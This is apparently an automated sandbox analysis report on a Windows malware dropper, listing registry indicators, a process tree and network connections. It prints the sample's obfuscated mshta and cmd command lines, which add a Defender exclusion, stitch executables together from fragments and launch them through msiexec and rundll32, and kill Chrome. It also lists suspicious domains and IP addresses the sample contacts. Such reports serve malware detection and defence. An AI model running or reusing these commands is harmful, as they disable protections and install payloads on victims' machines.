| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-NVO7O.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00f8ffa77fe72688.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon0052c87b01411369.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00806cfb48.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00806cfb48.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00806cfb48.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133768962907128796" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00b1dca232.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe
"C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe"
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon003b11682c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ef1e53f6f539435.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ffeff6b2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00536518ad16.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00d0d86f7f1e6.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00946c5090.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00f8ffa77fe72688.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00806cfb48.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00b1dca232.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ea631982.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon001dcfc58b0850.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0086072e872c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00806cfb48.exe
Mon00806cfb48.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe
Mon001dcfc58b0850.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon0052c87b01411369.exe
Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00946c5090.exe
Mon00946c5090.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ea631982.exe
Mon00ea631982.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00d0d86f7f1e6.exe
Mon00d0d86f7f1e6.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00b1dca232.exe
Mon00b1dca232.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe
Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon0086072e872c.exe
Mon0086072e872c.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe
Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00f8ffa77fe72688.exe
Mon00f8ffa77fe72688.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe
Mon00536518ad16.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ef1e53f6f539435.exe
Mon00ef1e53f6f539435.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe
Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1252 -ip 1252
C:\Users\Admin\AppData\Local\Temp\is-NVO7O.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-NVO7O.tmp\Mon001dcfc58b0850.tmp" /SL5="$401EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe"
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ffeff6b2.exe
Mon00ffeff6b2.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 612
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe" /SILENT
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if """"== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\is-4KKRC.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4KKRC.tmp\Mon001dcfc58b0850.tmp" /SL5="$501FE,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe" /SILENT
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe" ) do taskkill /f -im "%~NXt"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2236 -ip 2236
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2236 -s 356
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1436 -ip 1436
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 620
C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE
ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1436 -ip 1436
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\taskkill.exe
taskkill /f -im "Mon00e469051c4c7a.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 628
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Mon00536518ad16.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""/PdBPpkdCKFRGSs8QEyyO_B7~gkV ""== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4840 -ip 4840
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 1028
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 772
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if "/PdBPpkdCKFRGSs8QEyyO_B7~gkV "== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" ) do taskkill /f -im "%~NXt"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 804
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscRipt: close ( CREateobJect("wSCrIPt.SHELL" ). rUN( "CMd /q /C Echo | set /P = ""MZ"" > www1PR~.BG &cOpy /y /B www1pr~.BG + xZ62y.ZZY + NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg " , 0 ,truE ) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 828
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C Echo | set /P = "MZ" > www1PR~.BG &cOpy /y /B www1pr~.BG +xZ62y.ZZY+ NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Echo "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>www1PR~.BG"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\msiexec.exe
msiexec -Y .\fAJszjUU.PB
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1436 -ip 1436
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb25b5cc40,0x7ffb25b5cc4c,0x7ffb25b5cc58
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 876
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1944,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1940 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2180,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2216 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2272,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2280 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3084,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3104 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3236 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4532,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4492 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4780,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4036 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4692,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4616 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1100
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1108
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1436 -ip 1436
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1344
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4948,i,8333687949920946479,2290043924224310969,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8
C:\Users\Admin\AppData\Local\Temp\e59bef1.exe
"C:\Users\Admin\AppData\Local\Temp\e59bef1.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2460 -ip 2460
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 804
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 114.238.56.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.129.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 46.2.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.129.159.162.in-addr.arpa | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | propanla.com | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | 3.200.250.142.in-addr.arpa | udp |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
